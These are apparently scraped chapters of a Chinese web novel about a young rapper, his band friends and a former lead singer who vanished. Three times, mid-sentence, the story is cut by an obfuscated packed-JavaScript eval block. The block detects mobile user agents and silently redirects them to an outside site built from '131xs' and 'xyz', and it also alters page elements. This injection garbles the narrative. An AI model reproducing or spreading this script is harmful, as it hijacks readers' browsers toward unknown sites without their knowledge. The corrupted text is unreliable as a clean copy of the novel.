《和你们跑路男拼了》 2. 2 我*,兄弟,你他*的真被搞了? 在圈里,一般这句话的下一句就是“你被搞了出门别说是我兄弟”,但方自由天不一样,深厚的兄弟情义令他“唰”一下就精神小伙立正了。 邱纪澔拽回衣服后就一直恹恹地盯着窗外,方天致左看一圈再右看一圈,三百六十度旋转后,发现没有人注意到他们刚刚的动作才松了口气,抬头瞄了眼跟着火热节奏律动的出租司机,他万分忐忑地从裤兜里出手机,开始搜现在这个点还能不能改签机票。 ——他决定了,伟大的新生代rapper之王(自封)FreeSky打算把邱纪澔一路护送回公司。 方天致公司在上海星耀娱乐,邱纪澔签的杭州隋卞文化娱乐有限公司,两个地方离得不远,下机再倒个车就十五分钟的事,他觉得自己完全可以送完好兄弟再回去跟经纪人复命。 毕竟他刚刚是真被震惊到了。 无怪乎他有此一惊,都在地下混了,情史丰富几乎是人均基操,谁还没几个一夜情了,这某种程度上甚至算得上是写歌的灵感来源,不经意炫耀人气的资本,但问题的前提是人得是个直男啊! 其他两圈暂且不提,在人均24k钢铁直且鄙视链完善的哈圈混,跟同性,还被搞,这就涉及到rapper个人的人设与底线问题了,此刻要是随机摇一个摇滚男再给他说“你昨晚搞了个rapper”,是连这位滚男都会诧异道“嘿我可真行,这小子回去还能混?”的程度。 操啊,所以谁把我兄弟搞了?! 这问题难易程度他喵的堪比做数学题,因为数学题哪怕气到红温你不会写还是不会写——邱纪澔实打实是个半天放不出一个屁的性子,问他根本是白问。 方天致坐在出租车里抖了一路腿,憋得他一秒钟换一个坐姿,以一种欲言又止的微妙表情时不时看一眼邱纪澔,到分机口那插着兜就要跟他一起走。 “走哪啊你,”邱纪澔指他机票上对应的廊桥入口,“你目的地在那。” “不是,”临近起飞点,改签界面里压根选不了邱纪澔所在的那一航,红毛男方天致诚恳道:“主要我怕你还没上飞机就晕了。” 这叫什么话。 正常男的无病无灾的,谁走在路上会吧唧一下倒那儿。方天致说话那语气就和某个卡通动物双手合十祈祷人有事一样,而邱纪澔就是那个在他想象里即将出事的家伙,说不定还在被脑补柔弱不能自理需要细心呵护…… 邱纪澔有点被恶心到了。 方天致这人是公认的傻缺,粉丝评论最多的话是要他多吃点核桃补补脑子,邱纪澔跟他一块上过三四个综艺,两个人的组合有个亲爱的称呼叫没头脑跟不高兴,这是出了名的。 没头脑还在振声道:“你出了航楼昏的话旁边也没个什么人,被别人捡了……” “你滚。”不高兴一听这话是真有点不高兴了,索性打断他道,“你搁这说的什么,至于吗?!” 方天致立刻露出一个‘那不然呢’的糟心表情。 邱纪澔跟他之前在合租时就特别水土不服,不是过敏就是发烧的,整天嫌天热嫌天冷嫌天下雨还嫌弃饭不好吃,再加上他是云南少民,谁看了不说一句好一朵西南娇花。 这朵臭脸花懒得和他继续掰扯,留下一句用不着,拉着满行李箱的设备摆摆手就从VIP专属廊桥登了机。 全身上下哪哪都不舒坦,也幸好没在人堆里一起挤着检票,照邱纪澔这一大早衣服一穿就来赶机的架势,在没休息好的前提下说不定还真会当众表演一个腿软,宛若游戏里被人控了一个眩晕。 那也太出糗了,邱纪澔脑海里三百六十度旋转环绕着一句话——“席泽池大神经病大神经病席泽池席泽池你神经病啊!” 让他现在写歌diss方天致不要脸扯他衣服,那邱纪澔完全脑袋空空,说不定到最后连整首歌的三分钟都只电音循环针对席泽池的这一句话,没有第二句词了,其他的脑细胞再分给这人一点他都快要爆炸。 于是落座后往后一躺,邱纪澔盖住脸就直接一觉睡到了飞机落地。 经纪人百闲中派了个司机来接他,邱纪澔给人说了声,让他直接把自己送到公寓。 他算是事特别少的那一类人,不太喜欢别人干涉自己的决定,签的娱乐公司正如公司名字一样随便且佛——意思是根本不管事。 隋卞文化,这是个小公司,邱纪澔都算得上是司内顶流了,里面连个艺人助理的岗位都没有,平时里有什么活都是去找公用的,谁需要谁就带着,也没有什么强制要求的KPI,就算旗下艺人这个月什么都不干照样按照合同发底薪,但相对而言资源也都靠自己拉自己争,不像签到国内龙头星耀娱乐的方天致那样,这会儿回去还得先到公司去给经纪人报备自己行程。 方天致发微信语音吐槽说这规定可太操蛋了,辛辛苦苦炸完场子回来不让人休息还要人去站会议室叭叭,这公司什么毛病? 邱纪澔坐到沙发上,打字回他吃那么好资源就别身在福中不知福了。 这条消息方天致没有秒回,那应该是正在手舞足蹈地叭叭,邱纪澔拿着小刀开始削苹果皮,屏幕上,又一条消息弹了出来。 “这一趟感觉如何?” 是乔文秋,旧日乐队的主唱。 邱纪澔有乐队ptsd症,方天致也有,后者刚出道那会本身是要当爱豆的,被原来的公司塞进乐队里狠狠坑了一把,最后熬到合同到期回老家混地下,第一件事就是diss公司diss乐队diss傻逼经纪人,恨不得全天下乐队都直接原地爆炸。 跟他比的话,邱纪澔的症状来源就要比较复杂了,但这和乔文秋没关系。 “炸啊,”邱纪澔给他拨了个视频通话,“你没看微博?热搜前十全是,嗨炸了都。” “还没来得及看,”乔文秋语气很轻,“我在刷抖音呢,刚看到嘉宾名单。” 他说着开始感叹起来:“这趟旧日没去啊……早知道我就去这一场了。” 音乐节里有谁啊旧日乐队主唱还要上赶这去,拿头发丝想能让现主唱问的那必然也只有乐队的前主唱了,邱纪澔一听就知道他要说什么,把手机放远了点,他现在一想到席泽池就想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314651|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揍人。 果不其然,乔文秋下一句就开始问了。 “我看他好像跟你们在一场呢,”乔文秋说,“你们遇到了吗?” “我在rapper专场,人家压轴,能混到一个时间段?”他没好个好气,顿了下,又臭着脸补充说,“你想见你自己见去。” “反正我不乐意看到他。” “我这不是没去嘛。”乔文秋早习惯他说话态度,不怎么在意地往聊天框里顺手翻了一张图片过去,“对了,我最近回来收拾以前的东西……你之前那键盘被霍哥翻出来了,我过几天寄给你?” “不需要,怪麻烦的,”邱纪澔啃苹果,随口道,“寄来了我也不用,就放那吧。” “留个当纪念也行。”乔文秋摇摇头,把手机朝周围晃了一圈示意:“这房子被我整理空了,以后可能也不会有人来了。不寄就要扔,当初把万块钱买的。” “扔了吧,”邱纪澔说,“现在都更新换代多少代了,以前的还能用?” “舍不得啊,”乔文秋叹气,“我现在站在这房子里,都放空大脑不知道该想什么了。” 邱纪澔不接话,他一般不去想这种问题,想了就要生气的事情干什么给自己找不痛快,他一直到啃完一整个苹果都再没说一句话,听着乔文秋在对面继续喋喋不休,捞过手机将视频画面最小化。 聊天框里,乔文秋刚刚发了一张拍立得。 放在沙发上照的,看的出来保存得很好,被从相框里拿出来,这么多年还没有泛黄,也没有落一点灰。 邱纪澔没想其他的——可以说还没来得及想手指已经把它擅自点开了,他冷着脸对着最中间拽他后衣领的那个人看了几秒,把照片保存到相册。 “你在看照片吗?”乔文秋也在看,他笑起来,“怎么都六年了,时间过得真快啊。” 邱纪澔没吭声。 “你当初还留着小辫子呢,”乔文科继续说,“现在毛寸…帅是也挺帅的,你们rapper如今不流行了吗?你要不再留个脏辫。” “打理起来麻烦。”邱纪澔冷酷拒绝道,“不留。” 留也不留那么长,照照片那会儿邱纪澔才十五,被潮流影响过深才学的非主流男编脏辫,现在一想是有些缺乏个人思考能力,他懒得再随波逐流。 照合照时也是,当时就应该拒绝掉的。他被席泽池硬拽过去站在那里,按下快门键时还在一脸不爽地踢对方腿,乍一眼望去,跟现在一米八六长腿型男酷盖好像是两个世界的人。 十五岁的混小子天不怕地不怕,照相表情也要拽的跟二五八万一样,不知道的人看到会以为身旁的其他人全欠了他钱,再加上他旁边站的就是乔文秋,好学生一脸乖巧大眼睛圆溜溜,对比之下就更显得他不是个什么好鸟了。 “其实我当时第一眼见到你,都不敢跟你说话。”乔文秋想到那时候就笑。 他把小小一张拍立得塞进手机壳里,合照上有五个人,大概算是记忆里最开心的那段日子了。 因为在这之后没几个月,乐队原本的主唱席泽池就一声不吭地跑了。 3. 3 如果有人统计早期辉煌过但现在没落了的乐队,那么旧日这词绝对榜上有名。 完全比不得六年前爆火的上升期,照人气计算的话,现在一年凑合着只勉勉强强能撑起两场千人场——这还得倚仗老歌迷的情怀支持,所以每每宣布演唱会计划时都会有粉丝在评论唏嘘,但唏嘘完就是叹谓,又说按照旧日现在的水平,平心而论,主唱能办到这程度也算是很努力了。 原本的主唱席泽池跑路,又在消失了两年后重新复出,毫无征兆地加入了老牌乐队暴风眼,洋名就是现在国际化粉丝称的“TWOTWO”——传奇级别的大乐队,当之无愧的超一线国际当红巨星,万人场大巡和剧院演出开到手软的巅峰存在,按照烧水比喻的话,那就是比当初的旧日还要烫上一百度。 乐队换主唱这事很常见,但从如此牛逼的席泽池一下子过渡到乔文秋,那差距也有些太大了。后者那会儿还没成年,再加上人长的嫩,一个标准好学生与乖宝宝性格,站台上根本压不住场子,刚接手旧日时还被台下粉丝砸水瓶大骂“你不行让席泽池滚回来”,邱纪澔头两年每次都要帮他先手热一下场子,不然乔文秋一上去就能被过激粉丝喷到直接下台。 一路磕磕绊绊的,跟现在在暴风眼乐队吃大肉享大福的原主唱相比未免太可怜了点。 不过可怜的现主唱看起来毫不在意,还有心情在手机里问他:“演出你看了吧?怎么样?” “鬼才看他。”邱纪澔越想越气,不耐烦道,“要看你自己去搜。” 乔文科太了解他,露出了一个明显不信任这番话的表情,却没怎么多说,他怕真说了邱纪澔表演红温直接挂电话。 于是不拆穿他这副被狠狠惹到的臭脸模样,乔文秋打开手边的电脑在xilixili网站上搜粉丝直拍,还贴心地插了耳机只让自己能听到。 邱纪澔对他这副态度就没法发脾气,一肚子火硬生生咽了回去,该说贴心呢还是过于贴心呢——乔文秋只比他大一岁,性格实在难以描述,有时候老好人得过头,听到别人怎样怎样比自己赚了大钱还要开心。 算了……如果乔文秋不是这性格的话,那他早跟席泽池一样跑路了,还用得着留下接手旧日这个烂摊子? 旧日乐队的编外人员邱纪澔不想再跟他进行这个话题,抿唇问:“我新歌你听了吗?” 他给乔文秋发新歌demo是在去音乐节前,后者这段时间忙着和霍卓掰扯要不要转卖旧日那间老房子的事,到现在才刚来得及联系他,现在歌已经在全平台上线。 “听了,好听。”乔文秋说着,在电脑上打开了那首歌充当两人聊天的背景音乐,拔掉耳机说,“你曲子编得越来越抓耳了,有几个人前几天还来跟我问你最近还有没有档期,要我说你从一开始就应该玩melody的。” “都一样。”邱纪澔说了个冷笑话,“哪种音乐不是干?反正玩说唱的,遇到黑人上帝不都得下地狱。” 邱纪澔唱trap又凶又炸,转型melody后却完全是两种感觉了。乔文秋每次听他和之前风格完全不一样的歌就有点惆怅,但他没表现出来,鼠标点进评论区往下翻,热评第一留言说MQ是云南人,最近写歌也越来越超现实的魔怔,故而猜测他每次写歌前都要吃没炒熟的菌子,也可能还是生吃。 “…什么一顿吃八个,”邱纪澔从镜头里看到那条评论了,也是够服:“生吃我得死几次?一个劲纯胡说。” 乔文秋被逗乐了,按下Control+Shift,再按了下电源键将电脑待机,镜头微微一晃,一片漆黑的屏幕里就反射出透明手机壳里的那张拍立得。 六年了啊。 乔文秋慢慢扫过照片上邱纪澔那张十五岁的脸,视线恍惚再集中,穿透时光与屏幕,渐渐与手机里对方现在二十一岁的模样相互重合。 情感在作祟,世事变迁太快,敏感的人又要开始感慨起来了。 人在想事情时便会无意识重复上一个动作,乔文秋又打开电脑,想起他跟邱纪澔第一次见面的场景,大概好像是在一个普通的周末。 他是正儿八经优等生,重点高校实验班实打实文考进去的好苗子,但是大学准备走艺考,已经看好了专业,那段时间每天都泡在录音室里练习声乐,被当时乐队的贝斯手霍卓一眼相中邀请来了旧日。 那是来到乐队的第一周,乔文秋正坐在桌子上尝试着进行独立编曲,绞尽脑汁也不知道这符号该怎么填,就听见背后一个人开口说:“你这曲写的好烂。” “什么?” 乔文秋被吓了一跳,回头发现那人很近地站在自己背后。 来人看着和他差不多大,肤色介于小麦与巧克力之间,像是乔文秋家里bjd里的那种深烧肌色,编着很有个性的脏辫,粉色的卡通创可贴交叉贴在鼻梁,皱着眉眼神很凶,额头青紫色的伤疤还在渗血,活脱脱学校里那些混社会的不良少年。 脸长的倒是帅得可以,骨相过于优越,还没张开就一副未来必定惊为人天的拽哥样子,乔文秋看到他把红色的卫衣袖子挽到手肘,一脸烦躁地啧了一声,衣服上脏兮兮的也沾了些土。 “几点了才来。”贝斯手霍卓听见声音从房间里出来,“他没跟你一起……脸怎么回事?” “摔的。”那人顿了下,又说,“鬼知道。” 后面的三个字应该是在回复那个“他”,摔的——虽然不知道怎么摔的,乔文秋还是松了口气,看来不是跟人打架弄出来的,那说不定还挺好相处。 “我还以为你跟人打架了呢,”霍卓招手让他过去,顺手从桌子下抽出医药箱,“让你别在山区乱骑了,没本没照没牌的,出事了怎么办?” “谁敢这样打我?”邱纪澔不屑,“棍子都拎不起来,一群废物玩意。” 听这说的,那这人果然是一个会打架的混子嘛!乔文秋有点害怕,大气都不敢出一下。 “小乔都被你吓到了,”霍卓用酒精给他额头消毒,疼得邱纪澔呲牙咧嘴,脸不自觉皱成一团,“人家可是重点高中的好学生,你收着点这混混样,席泽池也是惯着你。” 邱纪澔不爽:“谁让他惯了。” “那刚刚点评的什么?”霍卓问,“小乔天赋很好的,怎么还看不上人家啊?” “写的烂就是写的烂。”邱纪澔对于当时穿着蓝白色校服的乔文秋的确有点不满,白白净净的说不定在台上歌都唱不出来,又不好意思承认,索性臭脸道,“也没说看不上……那你赶快教他啊,不然到时候写的歌都没人要。” “我这不正在学……”乔文秋没忍住开口,邱纪澔看起来年龄跟他也差不多,怎么这种语气。 “说这话,”霍卓一听就懂了,“你曲子怎么了?” “神经病席泽池。”邱纪澔踢凳子,“南京那边都找我定beat了,他嫌我考试分心不让我接。” 差不多年龄,他已经可以靠做音乐赚钱了?乔文秋一时有点震惊,霍卓却失笑:“所以你就去骑车逛山把自己给摔了啊,你骑的他哪辆车,不会是新买的那辆?” “没有,”邱纪澔说,席泽池宝贝那机车就跟宝贝他儿子一样,他才不干这种事,“我自己买的那辆。” 三手车,而且他就是骑车散心,也没想把自己摔了。 “那好啊,”霍卓说,“以后你就跟小乔一起,你也教教他?” 邱纪澔皱眉,不悦道:“我不玩乐队。” 但具体的教人,他没说好,也没说不好,乔文秋本身跟着霍卓学也不在意这事,没想到过了几天,这人摆着一张看着不怎么高兴的帅脸给他塞了一本乐理笔记。 密密麻麻的,内容巨细无遗,随便一翻就看得出记录者极度用心,乔文秋到手时人都傻了,一时愣在那里不知道怎么说话。 好在邱纪澔也没打算跟他说话,塞到他怀里转头就走,只留下一个无敌拽酷的潇洒背影。 那时候乔文秋就明白了,这人大概就是嘴硬心软,不会社交和与人相处,可能还有点传说中的臭脸综合征,就算心里什么都不想外表看起来也不高兴,不熟悉的人遇到都会觉得自己是不是有哪里惹到了他。 不过相处下来就会知道,虽然邱纪澔性格看起来很难搞,但从来不会乱发脾气,更多时候他就是个不怎么说话的哑巴,冷着脸一副懒得和人相处的态度,只有在亲近的人面前才会勉强给几个反应。 乔文秋就被他纳入了亲近的人这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314652|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行列里面,现在他对着邱纪澔看,总觉得有一种很复杂的心情无法表述。 不同于十五岁的小脏辫,二十一岁的邱纪澔发型是毛寸。 刺刺的,左耳朵轮廓上打了一整排的暗色钉,右耳倒只在高位耳垂戴了一个红色的龙爪S型马蹄环,那双捏着苹果的手骨节分明,挂着音乐人惯例造势佩戴的五金件,在指节和手腕很有个性地堆叠在一起。 邱纪澔五官轮廓很深,眼珠像未经打磨的黑曜石,再加上很有侵略性的眉压眼,看人时总给人一种很凶的感觉,但不同于其他搞黑怕的非主流潮男,那些人眉钉唇钉鼻钉什么一大堆的往脸上穿,邱纪澔整张脸倒是干干净净,属于某种冷酷性感的原始英俊。 他只打了个舌钉,在舌面最中间的位置,平时不吐舌头根本看不出来,算是种隐晦的叛逆——不过抛去这个,邱纪澔单纯往那一站也显得挺叛逆的,毕竟MQ其人浑身上下都是反骨,生来就是个纯纯的犟种。 他从小便对念书不感兴趣,父母逼着他念就逃课再表演离家出走,学习好不好暂且不提,反正搞音乐的天赋实在无敌。成天逃课去市内最大的那家录音室和人乱混,跟着自学一通后编编beat,随便发在网上便有不低的粉丝量,有天一个乐队成员来录音室派外包,老板问他要不要和他们合作一下。 “旧日啊,Never Set the Sun,最近很火那个,”老板说,“你不是想玩新玩意吗?人家刚好来找编曲,这可是个好活。” 好活归好活,但那跟邱纪澔有什么关系。 他是个一根筋,发誓不搞乐队就是不搞乐队,录音室老板把嘴皮子说烂了也不给人编,还得让乐队成员亲自来请。 乐队那会儿是真缺编曲,处于爆火上升期,技术团队不得不扩充。霍卓来了两次都被邱纪澔瞪了回去,最后还是席泽池有一套,管他搞不搞,这小孩离家出走又没地方住,他装作忧郁的过路人每天在人逃课路上准时偶遇,再不经意间搭话聊几句天,如此整整一个月终于忽悠得邱纪澔卸下心防,再适时掐着心思说了句给地方住就把人拐回了旧日,没想到发现风格完全合不到一起。 “这是个rapper啊,一点都不摇滚!”霍卓拍自己脑袋,“也怪我,当时老板给推荐时我压根就没注意。” “这有什么。”席泽池叼着烟笑。 他怎么会不知道邱纪澔走的说唱,骗到一半他就清楚这小孩脾气爆还路子野了,那骗都骗了就这样住着呗,白嫖一个天才编曲怎么想也完全不亏。 学是照样上的,席泽池天天把他送到学校门口下午再准时接他,简直比他爸妈还要烦人,但这次跟在家不一样,这次是逃课都没地方逃了。 邱纪澔挎张脸背着粉色小书包坐上机车后座,脸色臭的可以,双手却规规矩矩攥着驾驶员腰侧的衣服,回家后席泽池问他考试怎么样,邱纪澔撇嘴说要你管,被对方从包里直接翻出来成绩条。 “语文一百一,英语一百一……总分二百五?”席泽池乐了,“笨的,你这考的什么数字?” 邱纪澔抬头凶巴巴瞪他,奈何面对一堵墙似的一米九,小小一个中学生实在造不成什么威胁,跟刚出生的小刺猬一样连扎人都是软的。 一米九还有心思掐他脸:“你这看着也不像是个弱智啊乖宝,难不成交白卷啊?” “席泽池你懂个毛线团子。”邱纪澔从他手里把成绩条抢回来,转身冷酷地留给他一个毛茸茸的后脑勺,冷哼说,“又用不上,我写它干什么?” 写词需要学语文,编曲需要学英文,他天天回来就被席泽池抓着整那傻逼摇滚编曲,除了这两个其他的有时间复习就不错了。 心思根本不在上面,学习后来也是马马虎虎,但好歹还是一直在上着学,邱纪澔就住在席泽池家里继续玩他的trap,反正日子也是这样过下去了。 当时他还在想,如果一直这样的话那也不是不行,他也可以勉强学一下Psychedelic Trance看看席泽池需要什么样的曲子,不然一直在对方家里住着也有些不好意思。 不过这些东西也就仅存在于在脑海里这样想想了。 席泽池说走就走,不过世事无常。 4. 4 后面的一切都变得太快,到现在记忆也开始出现混乱。邱纪澔歪在沙发上将手机抬高了点,发现乔文秋好像在发呆,也不知道是在想些什么。 后脖颈挨到皮质的沙发背,有点凉,还有点痒,他闭上眼睛,莫名觉得这感觉有点熟悉,很像,就跟拍立得相片上那时被席泽池拽住后衣领时的触感一样。 那会儿他身高还没抽条,编着脏辫脾气还炸,一米九的席泽池拎他就跟拎只刺猬幼崽一样轻松,弯下腰凑到他耳边笑,邱纪澔缩了缩脖子,感觉后颈被吹得更痒了。 “跑什么,”席泽池把胳膊搭在他肩上,“和我照相还不乐意,想要单人照啊?” “你们乐队照相我跟着干什么,”邱纪澔想往一边跑,回头警惕道,“…你别挨我这么近!” “哟,怎么还不让人碰,”席泽池单手就能轻松把他摁在原地,得寸进尺地掐了把小孩的腰,“真怕痒啊,那笑一笑?” 邱纪澔上半身动不了,只能去踹他小腿,臭着脸发脾气:“席泽池你有病啊!” “没大没小的,你年龄砍一半都还不到我三分之一,不说喊声爸吧,怎么连哥都不叫一个。” 席泽池说话时扣住他的肩膀,邱纪澔用膝盖抵住他的腿,被这人离谱的天才逻辑给震惊了:“你好要脸啊!” “骗小孩儿嘛,”席泽池捏他脖子,“小孩儿看镜头啊……一,二,三——” 咔嚓。 “我是要当rapper的,rapper!”邱纪澔立刻甩开他,“和你一起照相,我才不搞那什么玩意儿的乐队!” “做rapper怎么了,和乐队不冲突啊,”席泽池抬手向他画了个大爱心,笑眯眯道,“不是说好来当编曲?养你这么久,不去玩玩我的风格,再给我写一首歌当作报答?” “鬼才玩你那什么Psy Trance,”邱纪澔更觉得他脑子有病了,质疑道:“我玩的是tarp,给你写?” 席泽池每首歌的风格都跟有什么大病一样,Psychedelic Trance中文名叫迷幻电子,顾名思义,迷得让人找不到北,不吃几百个见手青谁能写得出来,和又凶又冲的trap放一块简直精神分裂。 “trap适合你啊,我就让你玩玩,”席泽池不在意地说,“反正我就在这等你,你什么时候想写就写咯。” 然后席泽池就跑了。 主唱不告而别,整个旧日乐队没多久就散了个彻底,粉丝都以为这乐队也就这样到头了,正准备开启缅怀模式,就看到压根没有准备的乔文秋直接被提溜上来当了新的主唱。 席泽池走得潇洒,只留下了一张做了一半的迷幻电子专辑,是预备给明年全国巡演准备的新专,但他写了大半年都没写出来,demo没有,beat只编了一半,歌词也填得勉勉强强,邱纪澔刚接手那会儿被这张专辑折磨得够呛。 他跟乔文秋一起坐录音棚里瞎胡琢磨,一年后好不容易才编出一点小样,放软件里刚跑第一句就知道这用不了,索性一次性全删完,拿起笔一个符号没写就写不下去了。 邱纪澔把笔一扔站起来,不耐烦地说这Psychedelic Trance只有鬼才知道怎么编。 乔文秋在一旁接话:“席哥也知道。” “废话,”邱纪澔踢着凳子冷哼,席泽池现在人都不知道在哪,“他现在跟死了有什么区别?” “所以鬼才知道啊,”乔文秋那个时间段已经摸透他的脾气了,把邱纪澔刚刚删掉的那些重新恢复,听了一点开口说,“你这块key太高了,我唱不上去。” 邱纪澔没吭声,抓起笔又开始写,那句席泽池跟鬼没什么两样把他灵感逼出来了,洋洋洒洒写出一串串的词。 乔文秋听着听着按下暂停键,皱起眉说:“你这鼓点也太密,这么凶,听着太奇怪了。” “凶怎么了,”邱纪澔撇嘴,又说,“我也没打算用。” “写都写出来了,不用太可惜,”乔文秋觉得全归成废稿不太好,好歹零零散散也做了有一年,“这段你要不自己来?曲里加段feat应该没问题。” “我来?”邱纪澔越想越烦,“真以为我是搞乐队搞melody的啊?这唱trap根本用不了!” 乔文秋不说话了,邱纪澔揉了把还没剃成板寸的发辫,好一会儿才发现自己说错话。 一个不会说话的社障却当了rapper,这事仔细一想还蛮搞笑的。邱纪澔从柜子里拿出车钥匙,半晌也只憋出来句那别写了,我带你去兜风。 彼时是乔文秋第一次坐邱纪澔机车后座,被他狂放的姿态和自由的速度吓得在后座尖叫,眼泪都在风里冒出来:“我怕死!你能不能慢点啊——” 邱纪澔在风里大喊“速度慢那还能叫兜风吗?!”然后开得更快了点,乔文秋脸都白了,突然想起来一件事,顿时惊恐道:“你这几手车啊,没牌子还敢在市区无证驾驶?” 大半夜的小县城当然没人查,邱纪澔沿着市区一路狂奔,漫无目的地乱飙了一会儿后理智了不少,降下速度,才发现自己把摩托骑到了席泽池小区门口。 乔文秋一下车就快要以地为床以空气为被,眼冒金星好几秒才终于缓过来,翻江倒海有点想吐。邱纪澔给他塞了包纸,再陪他在台子上蹲下来,安慰人道:“我第一次坐也跟你一样。” 但看着乔文秋狼狈无比的样子,想了想他又补充说:“但我没哭。” 乔文秋正想回复谁能跟你一样似的,他第一次见邱纪澔对方就刚飙车回来,也不知道谁教出来的小孩这么狂,抬眼一看人已经朝楼上走了,连忙跟着上去喊他:“这是哪啊?” 邱纪澔伸手按电梯,进去后下意识在口袋里摸钥匙,才想起来钥匙早在席泽池跑路没几天就被自己扔到河里了。 “鬼知道。”邱纪澔挂着张脸。 电梯一层一层向上爬到预定楼层,门一开邱纪澔就迈步往出走,乔文秋以为是他家,毫无心理压力也跟着走出去。 拐三个弯到走廊尽头,只有一户,门敞着,物业安保人员在门口掐时间,里面还站了三个快递员在清点物品。 这架势跟搬家一样,乔文秋站门口不敢进,拽他衣服小声问:“你也要走?” 邱纪澔没点头也没摇头,但乔文秋怎么想他都不可能在现在的旧日乐队一直待下去,再配合着面前的情形,以为邱纪澔把他载过来就是为了告诉他这件事的,站那里抹了下眼泪。 “其实也挺好的,”乔文秋吸吸鼻子说,“你应该出去的。” “你们是屋主席先生的朋友?”里面的快递小哥看到这两人跑过来,递上一张纸问:“可以帮我找一下这单子上的东西吗?我不太了解你们这些什么键盘啊什么声卡的都是什么。” 乔文秋被这句话砸得毫无准备,立刻站那里瞪圆了眼睛。 邱纪澔早知道这是席泽池家,他没在意那句话,只是去看对方伸过来的快递单,上面的收件地址写的是北京。 哦,席泽池原来去了北京。 一声不吭,不辞而别,原来是去了北京。 那北京到底有谁在啊?! 邱纪澔有点想骂人,但他没骂出来,也不怎么会说脏话,他想写很多很多diss曲,diss北京那帮搞乐队的人,diss莫名其妙跑去北京那个人,但到头来真的下笔才发现,他竟然一个字都写不出来。 席泽池席泽池席泽池,跑那么远到底要干什么,之前住在一起,他也从来没有说过自己将来要去北京啊,还自顾自留下那写了一半的Psy专辑。 地球还在照常运转,邱纪澔在某个深夜抓着笔想,乔文秋说的没错,他应该出去的,他也应该出去的,没了席泽池,现在的旧日也没有什么能让他留下来的了。 于是他收拾东西去了成都,这是第一站,离北京还有些距离,但他想自己最后会去到那里,在过程中把那张专辑漂漂亮亮地做出来,狠狠扔到不辞而别那人的脸上,然后问他到底为什么要走。 虽然其实他也不一定非得要一个答案。 天赋宛若老天爷赏饭,邱纪澔走出来,一路向北,参加livehouse的第一场就才惊四座。脾气看起来不太好的混小子凶得一如既往,耳垂打了一排四个环扣,站台上妥妥有种的Bking一个。乔文秋录下来后在手机上反复看了几千遍,他一直没想明白,台下一句话憋不出来的家伙怎么能有范儿成这个样子,但还没等他回过神来,邱纪澔已经靠纯粹的技巧炸了场子,对着台下喊他名字的人高高举起麦克。 紧接着,在爆裂的音响中,他做了一个很狂的动作。 Drop the mic。 “怎样?”他对着视频通话里的乔文秋问。 乔文秋说不出来。 就跟那张专辑一样,那张席泽池留下的专最后还是没能做出来。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314653|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是邱纪澔技术不行,音乐制作人MissQ是个当之无愧的天才,水平圈内公认的高,但在音乐领域,不兼容的风格实在不能强求。 Psychedelic Trance这类型是出了名的精神病专区,风格扭曲又迷失,梦幻又诡异,超现实魔怔得像是得了神经错乱,国内这些年里除了席泽池外还真没第二个人能这么完美地集所有症状为一体了。 一个十五六岁,还是玩街头trap的暴躁小孩儿能百分百衔接他不正常的精神状态那才叫见鬼,但现在二十一岁的邱纪澔已经另当别论了。 他从茶几上又拿个苹果,这次没用小刀削皮,直接啃了一口咽下肚去。 “我现在这程度,够继续做那张专吗?” 这句话问出口,乔文秋跟当年面对那句“怎样”一样,还是没有立刻回复。 怎样也好,他就是说不出来,这要让他怎么回答?如果要说心里话,乔文秋只能讲他一直都很羡慕邱纪澔。 这人有着又凶又稳的台风和那种天不怕地不怕的闯劲,孑然一身装得很酷,就仿佛真的可以无牵无挂,那是很好,他也为他开心,但相比之下,乔文秋觉得自己真的是一个很不合格的乐队主唱。 匆匆接手乐队,在一片混乱中宣布演出,在后台看邱纪澔帮他热场,然后上台,乔文秋每次站在台上,心情都和第一次一样五味陈杂。 那是邱纪澔决定要出去的那天,他第一次弹席泽池留下的曲子,旧日前任主唱的风格太自我,音调高,编曲也诡异的要命,看的人头晕眼花,于是乔文秋在录音室里拿着吉他一遍一遍练,没注意到邱纪澔拉着行李箱,站在录音室门口就这样静静听着。 “曲我改了,”邱纪澔说,“你别照着之前那一版,你不适合。” 乔文秋当然知道自己不适合,但他忍不住就去弹席泽池的那一版,前任主唱和现任主唱,对比在评论铺天盖地,他控制不住。 “我没办法……”乔文秋转头看到邱纪澔的眼睛,黑的发亮,他新剃了寸头,左耳一连串的耳圈很闪,就这样静静看着自己。 他改口说:“我试试。” 乔文秋翻到邱纪澔改的那一页开始弹,到第五遍即将结尾,对方突然开口说:“你别光弹,你开口唱。” “我唱不出来,”乔文秋抱着吉他叹气,“我怎么唱。” “升调,”邱纪澔说,“别给我说你不会。” 于是乔文秋又开始弹。 